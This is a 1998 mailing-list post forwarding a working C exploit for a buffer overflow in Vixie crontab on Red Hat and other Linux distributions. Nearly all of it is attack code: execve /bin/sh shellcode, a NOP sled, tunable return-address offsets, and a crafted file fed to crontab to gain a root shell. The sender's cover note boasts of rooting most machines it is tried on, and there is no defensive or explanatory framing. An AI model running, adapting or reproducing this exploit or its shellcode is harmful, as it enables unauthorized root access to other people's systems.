Overflow in Vixie crontab

Date: Sun, 10 May 1998 22:40:57 PDT
From: <[cut]@hotmail.com>
To: fyodor@nmap.org
Subject: Linux Oldie but Goodie

hi fyodor,

here's another one for Linux systems using mr. paul vixie's crontab ... 
works not only on some redhats, but also on DLD 5.2 (a german linux 
distribution) and many others using the vixie crontab - usually gets you 
root on about 70 machines out of 100 ;)

cya,
[cut]

--------------snip--------------
/* vixie crontab buffer overflow for RedHat Linux
 *
 * I dont think too many people know that redhat uses vixie crontab.
 * I didn't find this, just exploited it.
 *
 *
 * Dave G.
 * <daveg@escape.com>
 * http://www.escape.com/~daveg
 *
 *
 */

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

#define DEFAULT_OFFSET          -1240
#define BUFFER_SIZE             100     /* MAX_TEMPSTR is 100 */
#define HAPPY_FILE              "./Window"

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

main(int argc, char **argv)
{
   int fd;
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
  u_char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";



/*
 * The sscanf line reads for 'name' as %[^ =].  Neither a space, nor
 * a '=' character appears below
 */


   int i;
   int ofs = DEFAULT_OFFSET;

   /* if we have a argument, use it as offset, else use default */
   if(argc == 2)
      ofs = atoi(argv[1]);
   else if (argc > 2) {
      fprintf(stderr, "egg [offset]\n");
      exit(-1);
   }
   /* print the offset in use */
   printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   /* fill start of buffer with nops */
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   /* stick asm code into the buffer */
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];

   addr_ptr = (long *)ptr;
   for(i=0;i < (878/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr++ = '=';
   *ptr++ = 'X';
   *ptr++ = '\n';
   *ptr = 0;
   printf("Writing to %s\n", HAPPY_FILE);

   fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666);
   write (fd, buff, strlen(buff));

   close(fd);

   execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL);
   /* Successful completion */
   exit(0);
}
--------------snip--------------

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